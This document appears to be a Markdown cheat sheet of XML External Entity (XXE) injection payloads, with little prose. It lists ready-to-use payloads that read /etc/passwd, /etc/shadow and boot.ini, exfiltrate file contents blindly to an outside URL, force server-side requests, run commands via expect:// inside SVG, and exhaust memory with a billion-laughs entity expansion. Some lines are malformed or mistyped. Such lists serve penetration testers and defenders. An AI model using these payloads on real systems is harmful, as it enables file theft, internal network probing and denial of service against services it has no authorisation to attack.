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142 lines
3.6 KiB
Markdown
142 lines
3.6 KiB
Markdown
# XML External Entity (XXE) Injection Payloads
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* XXE : Classic XXE
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```
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<?xml version="1.0"?>
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<!DOCTYPE data [
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<!ELEMENT data (#ANY)>
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<!ENTITY file SYSTEM "file:///etc/passwd">
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]>
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<data>&file;</data>
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
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```
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* XXE: Basic XML Example
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```
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<!--?xml version="1.0" ?-->
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<userInfo>
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<firstName>John</firstName>
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<lastName>Doe</lastName>
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</userInfo>
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```
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* XXE: Entity Example
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```
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&example;</lastName>
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</userInfo>
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```
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* XXE: File Disclosure
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```
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<!--?xml version="1.0" ?-->
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<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
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<userInfo>
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<firstName>John</firstName>
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<lastName>&ent;</lastName>
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</userInfo>
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```
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* XXE: Denial-of-Service Example
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```
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<!--?xml version="1.0" ?-->
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<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
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<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
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<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
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<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
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<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
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<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
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<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
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<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
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<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
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<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
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<tag>&lol9;</tag>
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```
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* XXE: Local File Inclusion Example
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
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```
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* XXE: Blind Local File Inclusion Example (When first case doesn't return anything.)
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY % xxe SYSTEM "file:///etc/passwd">
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<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
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```
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* XXE: Access Control Bypass (Loading Restricted Resources - PHP example)
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
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<foo><result>∾</result></foo>
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```
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* XXE:SSRF ( Server Side Request Forgery ) Example
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```
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<?xml version="1.0"?>
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<!DOCTYPE foo [
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<!ELEMENT foo (#ANY)>
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<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
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```
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* XXE: (Remote Attack - Through External Xml Inclusion) Exmaple
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```
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<?xml version="1.0"?>
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<!DOCTYPE lolz [
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<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
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<lolz><lol>3..2..1...&test<lol></lolz>
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```
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* XXE: UTF-7 Exmaple
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```
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<?xml version="1.0" encoding="UTF-7"?>
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+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
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+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
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+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
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```
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* XXE: Base64 Encoded
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```
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<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
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```
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* XXE: XXE inside SOAP Example
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```
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<soap:Body>
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<foo>
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<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
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</foo>
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</soap:Body>
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```
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* XXE: XXE inside SVG
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```
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<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
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<image xlink:href="expect://ls"></image>
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</svg>
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```
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